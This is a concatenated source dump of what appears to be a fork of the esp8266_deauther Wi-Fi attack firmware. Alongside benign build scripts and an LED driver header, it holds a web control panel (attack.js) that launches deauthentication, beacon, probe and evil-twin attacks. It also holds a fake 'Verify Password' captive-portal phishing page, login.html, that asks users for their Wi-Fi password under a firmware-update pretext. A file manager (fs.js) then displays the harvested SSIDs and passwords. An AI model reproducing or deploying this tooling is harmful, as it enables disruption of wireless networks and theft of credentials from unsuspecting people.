| This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | #ifndef _my92xx_h 25 | #define _my92xx_h 26 | 27 | #include 28 | 29 | #ifdef DEBUG_MY92XX 30 | #if ARDUINO_ARCH_ESP8266 31 | #define DEBUG_MSG_MY92XX(...) DEBUG_MY92XX.printf( __VA_ARGS__ ) 32 | #elif ARDUINO_ARCH_AVR 33 | #define DEBUG_MSG_MY92XX(...) { char buffer[80]; snprintf(buffer, sizeof(buffer), __VA_ARGS__ ); DEBUG_MY92XX.print(buffer); } 34 | #endif 35 | #else 36 | #define DEBUG_MSG_MY92XX(...) 37 | #endif 38 | 39 | typedef enum my92xx_model_t { 40 | MY92XX_MODEL_MY9291 = 0X00, 41 | MY92XX_MODEL_MY9231 = 0X01, 42 | } my92xx_model_t; 43 | 44 | typedef enum my92xx_cmd_one_shot_t { 45 | MY92XX_CMD_ONE_SHOT_DISABLE = 0X00, 46 | MY92XX_CMD_ONE_SHOT_ENFORCE = 0X01, 47 | } my92xx_cmd_one_shot_t; 48 | 49 | typedef enum my92xx_cmd_reaction_t { 50 | MY92XX_CMD_REACTION_FAST = 0X00, 51 | MY92XX_CMD_REACTION_SLOW = 0X01, 52 | } my92xx_cmd_reaction_t; 53 | 54 | typedef enum my92xx_cmd_bit_width_t { 55 | MY92XX_CMD_BIT_WIDTH_16 = 0X00, 56 | MY92XX_CMD_BIT_WIDTH_14 = 0X01, 57 | MY92XX_CMD_BIT_WIDTH_12 = 0X02, 58 | MY92XX_CMD_BIT_WIDTH_8 = 0X03, 59 | } my92xx_cmd_bit_width_t; 60 | 61 | typedef enum my92xx_cmd_frequency_t { 62 | MY92XX_CMD_FREQUENCY_DIVIDE_1 = 0X00, 63 | MY92XX_CMD_FREQUENCY_DIVIDE_4 = 0X01, 64 | MY92XX_CMD_FREQUENCY_DIVIDE_16 = 0X02, 65 | MY92XX_CMD_FREQUENCY_DIVIDE_64 = 0X03, 66 | } my92xx_cmd_frequency_t; 67 | 68 | typedef enum my92xx_cmd_scatter_t { 69 | MY92XX_CMD_SCATTER_APDM = 0X00, 70 | MY92XX_CMD_SCATTER_PWM = 0X01, 71 | } my92xx_cmd_scatter_t; 72 | 73 | typedef struct { 74 | my92xx_cmd_scatter_t scatter:1; 75 | my92xx_cmd_frequency_t frequency:2; 76 | my92xx_cmd_bit_width_t bit_width:2; 77 | my92xx_cmd_reaction_t reaction:1; 78 | my92xx_cmd_one_shot_t one_shot:1; 79 | unsigned char resv:1; 80 | } __attribute__ ((aligned(1), packed)) my92xx_cmd_t; 81 | 82 | #define MY92XX_COMMAND_DEFAULT { \ 83 | .scatter = MY92XX_CMD_SCATTER_APDM, \ 84 | .frequency = MY92XX_CMD_FREQUENCY_DIVIDE_1, \ 85 | .bit_width = MY92XX_CMD_BIT_WIDTH_8, \ 86 | .reaction = MY92XX_CMD_REACTION_FAST, \ 87 | .one_shot = MY92XX_CMD_ONE_SHOT_DISABLE, \ 88 | .resv = 0 \ 89 | } 90 | 91 | class my92xx { 92 | 93 | public: 94 | 95 | my92xx(my92xx_model_t model, unsigned char chips, unsigned char di, unsigned char dcki, my92xx_cmd_t command); 96 | unsigned char getChannels(); 97 | void setChannel(unsigned char channel, unsigned int value); 98 | unsigned int getChannel(unsigned char channel); 99 | void setState(bool state); 100 | bool getState(); 101 | void update(); 102 | 103 | private: 104 | 105 | void _di_pulse(unsigned int times); 106 | void _dcki_pulse(unsigned int times); 107 | void _set_cmd(my92xx_cmd_t command); 108 | void _send(); 109 | void _write(unsigned int data, unsigned char bit_length); 110 | 111 | my92xx_cmd_t _command; 112 | my92xx_model_t _model = MY92XX_MODEL_MY9291; 113 | unsigned char _chips = 1; 114 | unsigned char _channels; 115 | uint16_t * _value; 116 | bool _state = false; 117 | unsigned char _pin_di; 118 | unsigned char _pin_dcki; 119 | 120 | 121 | }; 122 | 123 | #endif 124 | -------------------------------------------------------------------------------- /esp8266_wifitools/wifi.h: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | #pragma once 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | namespace wifi { 11 | void begin(); 12 | 13 | String getMode(); 14 | String getNaptStatus(); 15 | 16 | void printStatus(); 17 | void initNapt(); 18 | 19 | void connectNapt(String ssid, String pass); 20 | 21 | void startNewAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal); 22 | void startEvilTwin(String apn); 23 | // void startAP(String path); 24 | void startWebServer(); 25 | void startAP(); 26 | 27 | void stopAP(); 28 | void resumeAP(); 29 | 30 | void update(); 31 | } -------------------------------------------------------------------------------- /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/logo.png -------------------------------------------------------------------------------- /utils/arduino-cli-compile.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # inside esp8266_deauther/esp8266_deauther 4 | # call this script 5 | # python3 ../utils/arduino-cli-compile.py 2.5.0 6 | 7 | import subprocess 8 | import os 9 | import sys 10 | 11 | boards = [ 12 | "NODEMCU", 13 | "WEMOS_D1_MINI", 14 | "HACKHELD_VEGA", 15 | "MALTRONICS", 16 | "DISPLAY_EXAMPLE_I2C", 17 | "DISPLAY_EXAMPLE_SPI", 18 | "DSTIKE_DEAUTHER_V1", 19 | "DSTIKE_DEAUTHER_V2", 20 | "DSTIKE_DEAUTHER_V3", 21 | "DSTIKE_DEAUTHER_V3_5", 22 | "DSTIKE_D_DUINO_B_V5_LED_RING", 23 | "DSTIKE_DEAUTHER_BOY", 24 | "DSTIKE_NODEMCU_07", 25 | "DSTIKE_NODEMCU_07_V2", 26 | "DSTIKE_DEAUTHER_OLED", 27 | "DSTIKE_DEAUTHER_OLED_V1_5_S", 28 | "DSTIKE_DEAUTHER_OLED_V1_5", 29 | "DSTIKE_DEAUTHER_OLED_V2", 30 | "DSTIKE_DEAUTHER_OLED_V2_5", 31 | "DSTIKE_DEAUTHER_OLED_V3", 32 | "DSTIKE_DEAUTHER_OLED_V3_5", 33 | "DSTIKE_DEAUTHER_OLED_V4", 34 | "DSTIKE_DEAUTHER_OLED_V5", 35 | "DSTIKE_DEAUTHER_OLED_V6", 36 | "DSTIKE_DEAUTHER_MOSTER", 37 | "DSTIKE_DEAUTHER_MOSTER_V2", 38 | "DSTIKE_DEAUTHER_MOSTER_V3", 39 | "DSTIKE_DEAUTHER_MOSTER_V4", 40 | "DSTIKE_DEAUTHER_MOSTER_V5", 41 | "DSTIKE_USB_DEAUTHER", 42 | "DSTIKE_USB_DEAUTHER_V2", 43 | "DSTIKE_DEAUTHER_WATCH", 44 | "DSTIKE_DEAUTHER_WATCH_V2", 45 | "DSTIKE_DEAUTHER_MINI", 46 | "DSTIKE_DEAUTHER_MINI_EVO", 47 | "LYASI_7W_E27_LAMP", 48 | "AVATAR_5W_E14_LAMP", 49 | ] 50 | 51 | version = sys.argv[1] 52 | 53 | folder = f"../build_{version}" 54 | os.system(f"mkdir {folder}") 55 | 56 | for board in boards: 57 | print(f"Compiling {board}...", flush=True) 58 | 59 | if os.path.exists(f"{folder}/esp8266_deauther_{version}_{board}.bin"): 60 | print("Already compiled") 61 | continue 62 | 63 | os.system(f"arduino-cli cache clean") 64 | command = f"arduino-cli compile --fqbn deauther:esp8266:generic --build-property \"build.extra_flags=-DESP8266 -D{board}\" --output-dir {folder}" 65 | process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE) 66 | process.wait() 67 | os.system( 68 | f"mv {folder}/esp8266_deauther.ino.bin {folder}/esp8266_deauther_{version}_{board}.bin") 69 | print(f"OK") 70 | 71 | os.system(f"rm {folder}/esp8266_deauther.ino.elf") 72 | os.system(f"rm {folder}/esp8266_deauther.ino.map") 73 | 74 | print("Finished :)") 75 | -------------------------------------------------------------------------------- /utils/old_web_converter/convert_all.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 4 | # This script walks through the html folder and minify all JS, HTML and CSS files. It also generates 5 | # the corresponding constants that is added to the data.h file on esp8266_deauther folder. 6 | # 7 | # @Author Erick B. Tedeschi < erickbt86 [at] gmail [dot] com > 8 | # 9 | 10 | outputfile="$(pwd)/data_h_temp" 11 | 12 | rm $outputfile 13 | 14 | function minify_html_css { 15 | file=$1 16 | curl -X POST -s --data-urlencode "input@$file" https://www.toptal.com/developers/html-minifier/api/raw > /tmp/converter.temp 17 | } 18 | 19 | function minify_js { 20 | file=$1 21 | curl -X POST -s --data-urlencode "input@$file" https://www.toptal.com/developers/javascript-minifier/api/raw > /tmp/converter.temp 22 | } 23 | 24 | function ascii2hexCstyle { 25 | file_name=$(constFileName $1) 26 | result=$(cat /tmp/converter.temp | hexdump -ve '1/1 "0x%.2x,"') 27 | result=$(echo $result | sed 's/,$//') 28 | echo "const char data_${file_name}[] PROGMEM = {$result};" 29 | } 30 | 31 | function constFileName { 32 | extension=$(echo $1 | egrep -io "(css|js|html)$" | tr "[:lower:]" "[:upper:]") 33 | file=$(echo $1 | sed 's/\.css//' | sed 's/\.html//' | sed 's/\.js//' | sed 's/\.\///' | tr '/' '_' | tr '.' '_') 34 | echo $file$extension 35 | } 36 | 37 | 38 | cd html 39 | file_list=$(find . -type f) 40 | 41 | for file in $file_list; do 42 | echo "Processing: $file" 43 | if [[ "$file" == *.js ]]; then 44 | echo "-> JS minifier" 45 | minify_js $file 46 | ascii2hexCstyle $file >> $outputfile 47 | elif [[ "$file" == *.html ]] || [[ "$file" == *.css ]]; then 48 | echo "-> HTML and CSS minifier" 49 | minify_html_css $file 50 | ascii2hexCstyle $file >> $outputfile 51 | else 52 | echo "-> without minifier" 53 | cat $file > /tmp/converter.temp 54 | ascii2hexCstyle $file >> $outputfile 55 | fi 56 | sleep 1 57 | done 58 | -------------------------------------------------------------------------------- /utils/old_web_converter/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Verify Password 8 | 91 | 92 | 93 |
94 |
95 |
96 |

Verify Password

97 |

For security reasons, we require you to verify your password before proceeding with the firmware update.

98 |
99 |
100 | 101 |
102 | 103 |
104 |
105 |
106 | 109 |
110 | 111 | -------------------------------------------------------------------------------- /utils/vendor_list_updater/README.md: -------------------------------------------------------------------------------- 1 | `python3 update_manuf.py -o oui.h -s` 2 | 3 | This Python script updates the manufacturer list oui.h in deauther2.0/esp8266_deauther. 4 | 5 | The -s option is for creating a limited list of the top 1000 vendors. That is enough for most devices and it makes the list fit in 512kb. -------------------------------------------------------------------------------- /utils/web_converter/css_html_js_minify/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Created by: juancarlospaco 4 | # GitHub Repo: https://github.com/juancarlospaco/css-html-js-minify 5 | 6 | 7 | """CSS-HTML-JS-Minify. 8 | 9 | Minifier for the Web. 10 | """ 11 | 12 | 13 | from .minify import (process_single_html_file, process_single_js_file, 14 | process_single_css_file, html_minify, js_minify, 15 | css_minify) 16 | 17 | 18 | __version__ = '2.5.0' 19 | __license__ = 'GPLv3+ LGPLv3+' 20 | __author__ = 'Juan Carlos' 21 | __email__ = 'juancarlospaco@gmail.com' 22 | __url__ = 'https://github.com/juancarlospaco/css-html-js-minify' 23 | __source__ = ('https://raw.githubusercontent.com/juancarlospaco/' 24 | 'css-html-js-minify/master/css-html-js-minify.py') 25 | 26 | 27 | __all__ = ['__version__', '__license__', '__author__', 28 | '__email__', '__url__', '__source__', 29 | 'process_single_html_file', 'process_single_js_file', 30 | 'process_single_css_file', 'html_minify', 'js_minify', 31 | 'css_minify', 'minify'] 32 | -------------------------------------------------------------------------------- /utils/web_converter/readme.md: -------------------------------------------------------------------------------- 1 | Use this converter to minify and gzip everything in the `web_interface` folder and put it in `esp8266_deauther/data/web/`. 2 | This script will also generate a new `webfiles.h` file and replace the old in `esp8266_deauther`. 3 | 4 | Copyright goes to [@xdavidhu](http://github.com/xdavidhu/). 5 | 6 | **A few notes:** 7 | - you need python3 to run this script 8 | - you need to install the anglerfish package: `sudo python3 -m pip install anglerfish` 9 | - be sure to run the script from its current position 10 | - `.lang` files will always go in the `/lang` folder 11 | - `.js` files will always go int the `/js` folder 12 | - `.json` files will be ignored and not copied 13 | - only `.html` and `.css` will be minified before being gzipped (minifying JS can make problems) 14 | -------------------------------------------------------------------------------- /webConverter/attack.js: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | var attackJSON = [[false, 0, 0], [false, 0, 0], [false, 0, 0], [false, 0, 0], [false, "[Nothing]"]]; 4 | 5 | function draw() { 6 | // getE("deauth").innerHTML = attackJSON[0][0] ? lang("stop") : lang("start"); 7 | // getE("beacon").innerHTML = attackJSON[1][0] ? lang("stop") : lang("start"); 8 | // getE("probe").innerHTML = attackJSON[2][0] ? lang("stop") : lang("start"); 9 | // getE("deauthAll").innerHTML = attackJSON[3][0] ? lang("stop") : lang("start"); 10 | // getE("evilTwin").innerHTML = attackJSON[4][0] ? lang("stop") : lang("start"); 11 | 12 | getE("startAttack").innerHTML = attackJSON[0][0] | attackJSON[1][0] | attackJSON[2][0] | attackJSON[3][0] | attackJSON[4][0] ? lang("stop") : lang("start"); 13 | 14 | getE("deauthTargets").innerHTML = esc(attackJSON[0][1] + ""); 15 | getE("beaconTargets").innerHTML = esc(attackJSON[1][1] + ""); 16 | getE("probeTargets").innerHTML = esc(attackJSON[2][1] + ""); 17 | getE("deauthAllTargets").innerHTML = esc(attackJSON[3][1] + ""); 18 | getE("evilTwinTargets").innerHTML = esc(attackJSON[4][1] + ""); 19 | 20 | getE("deauthPkts").innerHTML = esc(attackJSON[0][2] + "/" + attackJSON[0][3]); 21 | getE("beaconPkts").innerHTML = esc(attackJSON[1][2] + "/" + attackJSON[1][3]); 22 | getE("probePkts").innerHTML = esc(attackJSON[2][2] + "/" + attackJSON[2][3]); 23 | getE("deauthAllPkts").innerHTML = esc(attackJSON[3][2] + "/" + attackJSON[3][3]); 24 | 25 | getE("allpkts").innerHTML = esc(attackJSON[5] + ""); 26 | } 27 | 28 | function stopAll() { 29 | getFile("run?cmd=stop attack", function () { 30 | load(); 31 | }); 32 | } 33 | 34 | function start() { 35 | // switch (mode) { 36 | // case 0: 37 | // attackJSON[0][0] = !attackJSON[0][0]; 38 | // break; 39 | // case 1: 40 | // attackJSON[1][0] = !attackJSON[1][0]; 41 | // break; 42 | // case 2: 43 | // attackJSON[2][0] = !attackJSON[2][0]; 44 | // break; 45 | // case 3: 46 | // attackJSON[3][0] = !attackJSON[3][0]; 47 | // break; 48 | // case 4: 49 | // attackJSON[4][0] = !attackJSON[4][0]; 50 | // break; 51 | // } 52 | if (attackJSON[0][0] | attackJSON[1][0] | attackJSON[2][0] | attackJSON[3][0] | attackJSON[4][0]){ 53 | stopAll(); 54 | }else{ 55 | attackJSON[0][0] = getE("deauth").checked; 56 | attackJSON[1][0] = getE("beacon").checked; 57 | attackJSON[2][0] = getE("probe").checked; 58 | attackJSON[3][0] = getE("deauthAll").checked; 59 | attackJSON[4][0] = getE("evilTwin").checked; 60 | getFile("run?cmd=attack" + (attackJSON[0][0] ? " -d" : "") + (attackJSON[1][0] ? " -b" : "") + (attackJSON[2][0] ? " -p" : "") + (attackJSON[3][0] ? " -da" : "") + (attackJSON[4][0] ? " -et" : ""), function () { 61 | setTimeout(load, 2000); 62 | draw(); 63 | }); 64 | } 65 | } 66 | 67 | function load() { 68 | getFile("attack.json", function (response) { 69 | attackJSON = JSON.parse(response); 70 | getE("deauth").checked = attackJSON[0][0]; 71 | getE("beacon").checked = attackJSON[1][0]; 72 | getE("probe").checked = attackJSON[2][0]; 73 | getE("deauthAll").checked = attackJSON[3][0]; 74 | getE("evilTwin").checked = attackJSON[4][0]; 75 | 76 | console.log(response); 77 | showMessage("connected"); 78 | draw(); 79 | }); 80 | } 81 | -------------------------------------------------------------------------------- /webConverter/connecting.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 43 | 44 | 45 |
46 |
47 |
48 |
49 |

Connecting...

50 | 51 |
52 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /webConverter/convert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | main() { 4 | filename=$(basename "$1") 5 | gzip -k $1 6 | result=$(cat $filename.gz | hexdump -ve '1/1 "0x%.2x, "') 7 | nameprog=$(echo "$filename" | sed 's/\.//g') 8 | echo "const char ${nameprog}[] PROGMEM = {$result};" > data.h 9 | rm -rf $filename.gz 10 | cat data.h 11 | } 12 | main $1 13 | -------------------------------------------------------------------------------- /webConverter/data.h: -------------------------------------------------------------------------------- 1 | const char fsjs[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0x9a, 0x49, 0xce, 0x65, 0x00, 0x03, 0x66, 0x73, 0x2e, 0x6a, 0x73, 0x00, 0x9d, 0x54, 0x51, 0x73, 0x12, 0x31, 0x10, 0x7e, 0x86, 0x5f, 0x91, 0xe6, 0x41, 0xee, 0x06, 0x27, 0xf8, 0x6c, 0xe1, 0x3a, 0x63, 0x81, 0xb1, 0x5a, 0x69, 0x47, 0x18, 0x5f, 0xac, 0x0f, 0xf1, 0xb2, 0x07, 0xd1, 0x90, 0x30, 0x49, 0x80, 0x56, 0x87, 0xff, 0xee, 0x26, 0x77, 0xc0, 0x41, 0x69, 0xab, 0xbe, 0xdc, 0x24, 0x9b, 0xfd, 0xf6, 0xdb, 0xfd, 0x76, 0xf7, 0x56, 0xdc, 0x12, 0x6e, 0x2d, 0x7f, 0x20, 0x3d, 0x42, 0xe9, 0x79, 0xb3, 0x58, 0xea, 0xdc, 0x4b, 0xa3, 0x89, 0x32, 0x5c, 0x24, 0x29, 0xf9, 0xdd, 0x6c, 0x14, 0x52, 0x81, 0x92, 0xce, 0x27, 0xe9, 0x79, 0xb3, 0x31, 0x05, 0x3f, 0xc4, 0x7b, 0x42, 0x61, 0x25, 0x95, 0x5f, 0x4b, 0xcd, 0xfc, 0xbd, 0xa7, 0xaf, 0xc9, 0x0e, 0x97, 0x58, 0x70, 0x11, 0xd6, 0x10, 0x26, 0x5f, 0xce, 0x41, 0x7b, 0x86, 0x98, 0x81, 0x82, 0x70, 0x7c, 0xf7, 0x70, 0x25, 0xf6, 0xd0, 0x05, 0xf7, 0x33, 0x9a, 0xb2, 0x15, 0x57, 0x4b, 0x40, 0x7a, 0x04, 0x22, 0xc1, 0xe6, 0x80, 0x45, 0x99, 0x29, 0xfb, 0xe1, 0x8c, 0x3e, 0xcd, 0xb0, 0x4d, 0xfc, 0xc3, 0xf8, 0x66, 0xc4, 0x16, 0xdc, 0x3a, 0x88, 0x6f, 0xf8, 0xb2, 0xc2, 0xb2, 0x10, 0xdb, 0x97, 0x2b, 0x7c, 0x7e, 0x32, 0x11, 0xf4, 0xa0, 0x81, 0xae, 0x51, 0xba, 0x32, 0xa9, 0x35, 0xd8, 0xf7, 0x93, 0x4f, 0xd7, 0x41, 0x8c, 0xae, 0x9f, 0x65, 0xe3, 0xf1, 0x55, 0xbf, 0xdb, 0xc1, 0x03, 0x09, 0xb7, 0x5b, 0xee, 0xdc, 0xda, 0x58, 0xb1, 0xb7, 0xc4, 0x13, 0x0d, 0x11, 0x0a, 0x63, 0x49, 0xa2, 0xc0, 0x13, 0xa9, 0x05, 0xdc, 0x23, 0xfe, 0xcd, 0x79, 0x75, 0xec, 0x96, 0xfa, 0x32, 0x05, 0x7a, 0xea, 0x67, 0x95, 0xb5, 0xdd, 0x2e, 0x2b, 0x78, 0xcc, 0xdc, 0x8e, 0xd4, 0x36, 0xeb, 0x7a, 0x91, 0x51, 0xd2, 0x2e, 0xc1, 0x5f, 0x23, 0xe8, 0x1b, 0x73, 0x4e, 0x0a, 0xb4, 0x51, 0xe4, 0x15, 0xa7, 0x3d, 0x16, 0x98, 0x23, 0x09, 0x81, 0xeb, 0x5e, 0xdd, 0xef, 0x4b, 0xef, 0x51, 0x39, 0xa3, 0x73, 0x25, 0xf3, 0x9f, 0xbd, 0x56, 0x6e, 0x90, 0x2f, 0xf7, 0x63, 0xbe, 0x02, 0x94, 0xa1, 0x5d, 0xa6, 0x44, 0xd3, 0x56, 0x76, 0x79, 0x33, 0x1a, 0x0d, 0x2e, 0x27, 0xdd, 0x4e, 0x89, 0xc8, 0xca, 0x10, 0x1d, 0xcc, 0x27, 0x56, 0xb9, 0x39, 0xee, 0x4f, 0xe1, 0xa4, 0x2e, 0xcc, 0x3f, 0xf6, 0xbf, 0x02, 0xa5, 0x07, 0x7a, 0xef, 0xbb, 0xbf, 0xd9, 0x0f, 0xe1, 0x41, 0x9e, 0x52, 0xdc, 0xc7, 0xc0, 0x38, 0x39, 0xc2, 0xac, 0x99, 0x32, 0x39, 0x0f, 0x4e, 0x6c, 0x66, 0xa1, 0x08, 0x0d, 0x63, 0x9d, 0xca, 0xfd, 0x22, 0xc8, 0xd4, 0xab, 0x49, 0x23, 0x6a, 0xd2, 0xbd, 0x0a, 0x0a, 0x1d, 0x3f, 0x06, 0xdb, 0x01, 0x31, 0xb6, 0x73, 0xce, 0x7d, 0x39, 0xff, 0xfb, 0x62, 0xa3, 0xf1, 0x74, 0xb1, 0x61, 0xe0, 0xcc, 0xd2, 0x07, 0x91, 0x64, 0x11, 0xed, 0xa4, 0x87, 0x39, 0xdd, 0x7c, 0xa4, 0x69, 0xb0, 0x87, 0xfc, 0x86, 0x11, 0x4e, 0xc6, 0xcb, 0x3c, 0x07, 0xe7, 0x18, 0xf9, 0x0c, 0xce, 0x73, 0xeb, 0xa5, 0x9e, 0x32, 0xc6, 0xa2, 0xbc, 0xa0, 0x1c, 0x1c, 0x79, 0x17, 0x1c, 0xa9, 0xc5, 0xd9, 0xd9, 0x19, 0x0d, 0xf3, 0xae, 0xc0, 0xfa, 0x04, 0x1d, 0xd2, 0x9d, 0x54, 0xb5, 0x94, 0x77, 0x6b, 0x7a, 0x98, 0x34, 0x7e, 0xb1, 0xeb, 0x17, 0xf9, 0x5c, 0xf4, 0xc2, 0x73, 0xb8, 0x3f, 0x5d, 0xc2, 0x0b, 0x1b, 0x85, 0xf8, 0x2f, 0x12, 0xd6, 0xcf, 0xed, 0x54, 0x88, 0x7f, 0x8d, 0x7e, 0xe5, 0x62, 0xfd, 0xf7, 0x5a, 0x54, 0x4c, 0x7f, 0xbb, 0x18, 0x9a, 0xcf, 0xe1, 0xf9, 0xc5, 0x70, 0xf2, 0xd7, 0xa1, 0xc7, 0xa3, 0xa5, 0x10, 0x80, 0x89, 0x42, 0x54, 0xed, 0x8e, 0xd2, 0x93, 0x04, 0xf4, 0x0e, 0xcb, 0x6a, 0x91, 0x5c, 0x85, 0x19, 0x6a, 0x59, 0x10, 0xad, 0xac, 0x3f, 0xb8, 0x1e, 0x4c, 0x06, 0x2f, 0x2c, 0x4c, 0x6d, 0xb2, 0x6a, 0x2c, 0x41, 0xaa, 0x5b, 0xfc, 0x07, 0x3e, 0xdd, 0xb0, 0x50, 0xc5, 0xd6, 0xeb, 0x64, 0xcf, 0x8e, 0x67, 0x2d, 0x8a, 0x57, 0x8e, 0x09, 0xad, 0x06, 0xad, 0x62, 0x8c, 0x71, 0xc8, 0x5b, 0x52, 0x0f, 0x19, 0x5b, 0xf4, 0x68, 0x9f, 0x2c, 0x94, 0xff, 0xfe, 0x98, 0x7f, 0x18, 0xc9, 0x7a, 0xd0, 0x61, 0x9c, 0xc7, 0x7a, 0xcc, 0xb2, 0xd1, 0xdb, 0x42, 0xff, 0x00, 0xc3, 0x66, 0xfd, 0x84, 0x50, 0x06, 0x00, 0x00, }; 2 | -------------------------------------------------------------------------------- /webConverter/fs.js: -------------------------------------------------------------------------------- 1 | var array = ""; 2 | function load() { 3 | filelist(); 4 | getFile("eviltwin.txt", function (res) { 5 | document.getElementById("eviltwinpath").value = res; 6 | }); 7 | getFile("log.json", function (res) { 8 | array = JSON.parse(res) 9 | var logDiv = document.getElementById("log"); 10 | logDiv.innerHTML = "SSID Password "; 11 | for (let index = 0; index < array.length; index++) { 12 | logDiv.innerHTML += "" + array[index].ssid + "" + array[index].pass 13 | + ""; 14 | } 15 | }); 16 | getFile("fsinfo", function (res) { 17 | document.getElementById("fsinfo").innerHTML = res; 18 | }); 19 | } 20 | function connectSaved(idx) { 21 | window.location.href = "./connect?ssid=" + array[idx].ssid + "&pass=" + array[idx].pass; 22 | } 23 | function format() { 24 | getFile("format", function (res) { 25 | var out; 26 | if (res == "OK") out = "Format Success. Restarting..."; 27 | else out = "Format failed!!!" 28 | alert(out); 29 | }); 30 | } 31 | 32 | function filelist() { 33 | getFile("filecli?cmd=listfile", function (res) { 34 | var array = JSON.parse(res) 35 | var listView = document.getElementById("fileList"); 36 | for (let index = 0; index < array.length; index++) { 37 | listView.innerHTML += "" + array[index].name + "" + array[index].size + ""; 38 | } 39 | }); 40 | } 41 | function deleteFile(filePath) { 42 | getFile("filecli?cmd=" + filePath, function (res) { 43 | if (res == "OK"){ 44 | alert("Success delete file : " + filePath); 45 | window.location.reload(); 46 | }else{ 47 | alert("Failed delete file"); 48 | } 49 | }); 50 | } -------------------------------------------------------------------------------- /webConverter/fsmanager.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | FSManager 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 29 | 30 |
31 | 32 |
33 |
34 |
35 |

FS Manager

36 |
37 |
38 |
39 | Evil Twin 40 | 41 | 42 |

43 |
44 |
45 | 46 | 47 |
48 |

Info disini

49 | 50 | 51 | 52 |
File NameSize
53 | 54 |
55 |
56 |
57 | 58 |
59 |
60 | Version 2.6.1 61 |
62 |
63 | Wiki | Credits 64 |
65 | 66 | 67 | -------------------------------------------------------------------------------- /webConverter/site.js: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | var langJson = {}; 4 | 5 | function getE(name) { 6 | return document.getElementById(name); 7 | } 8 | 9 | function esc(str) { 10 | if (str) { 11 | return str.toString() 12 | .replace(/&/g, '&') 13 | .replace(//g, '>') 15 | .replace(/\"/g, '"') 16 | .replace(/\'/g, ''') 17 | .replace(/\//g, '/'); 18 | } 19 | return ""; 20 | } 21 | function connect(ids) { 22 | var password = ""; 23 | var usePassword = false; 24 | if (!(scanJson.aps[ids][4] == "-")){ 25 | password = prompt("Password for : " + scanJson.aps[ids][0]); 26 | usePassword = true; 27 | } 28 | window.location.href = "./connect?ssid=" + scanJson.aps[ids][0] + (usePassword ? "&pass=" + password : ""); 29 | } 30 | function convertLineBreaks(str) { 31 | if (str) { 32 | str = str.toString(); 33 | str = str.replace(/(?:\r\n|\r|\n)/g, '
'); 34 | return str; 35 | } 36 | return ""; 37 | } 38 | 39 | function showMessage(msg) { 40 | if (msg.startsWith("ERROR")) { 41 | getE("status").style.backgroundColor = "#d33"; 42 | getE("status").innerHTML = "disconnected"; 43 | 44 | console.error("disconnected (" + msg + ")"); 45 | } else if (msg.startsWith("LOADING")) { 46 | getE("status").style.backgroundColor = "#fc0"; 47 | getE("status").innerHTML = "loading..."; 48 | } else { 49 | getE("status").style.backgroundColor = "#3c5"; 50 | getE("status").innerHTML = "connected"; 51 | 52 | console.log("" + msg + ""); 53 | } 54 | } 55 | 56 | function getFile(adr, callback, timeout, method, onTimeout, onError) { 57 | /* fallback stuff */ 58 | if (adr === undefined) return; 59 | if (callback === undefined) callback = function () { }; 60 | if (timeout === undefined) timeout = 8000; 61 | if (method === undefined) method = "GET"; 62 | if (onTimeout === undefined) { 63 | onTimeout = function () { 64 | showMessage("ERROR: timeout loading file " + adr); 65 | }; 66 | } 67 | if (onError === undefined) { 68 | onError = function () { 69 | showMessage("ERROR: loading file: " + adr); 70 | }; 71 | } 72 | 73 | /* create request */ 74 | var request = new XMLHttpRequest(); 75 | 76 | /* set parameter for request */ 77 | request.open(method, encodeURI(adr), true); 78 | request.timeout = timeout; 79 | request.ontimeout = onTimeout; 80 | request.onerror = onError; 81 | request.overrideMimeType("application/json"); 82 | 83 | request.onreadystatechange = function () { 84 | if (this.readyState == 4) { 85 | if (this.status == 200) { 86 | showMessage("CONNECTED"); 87 | callback(this.responseText); 88 | } 89 | } 90 | }; 91 | 92 | showMessage("LOADING"); 93 | 94 | /* send request */ 95 | request.send(); 96 | 97 | console.log(adr); 98 | } 99 | 100 | function lang(key) { 101 | return convertLineBreaks(esc(langJson[key])); 102 | } 103 | 104 | function parseLang(fileStr) { 105 | langJson = JSON.parse(fileStr); 106 | if (langJson["lang"] != "en") {// no need to update the HTML 107 | var elements = document.querySelectorAll("[data-translate]"); 108 | for (i = 0; i < elements.length; i++) { 109 | var element = elements[i]; 110 | element.innerHTML = lang(element.getAttribute("data-translate")); 111 | } 112 | } 113 | document.querySelector('html').setAttribute("lang", langJson["lang"]); 114 | if (typeof load !== 'undefined') load(); 115 | } 116 | 117 | function loadLang() { 118 | var language = "default"; //navigator.language.slice(0, 2); 119 | getFile("lang/" + language + ".lang", 120 | parseLang, 121 | 2000, 122 | "GET", 123 | function () { 124 | getFile("lang/en.lang", parseLang); 125 | 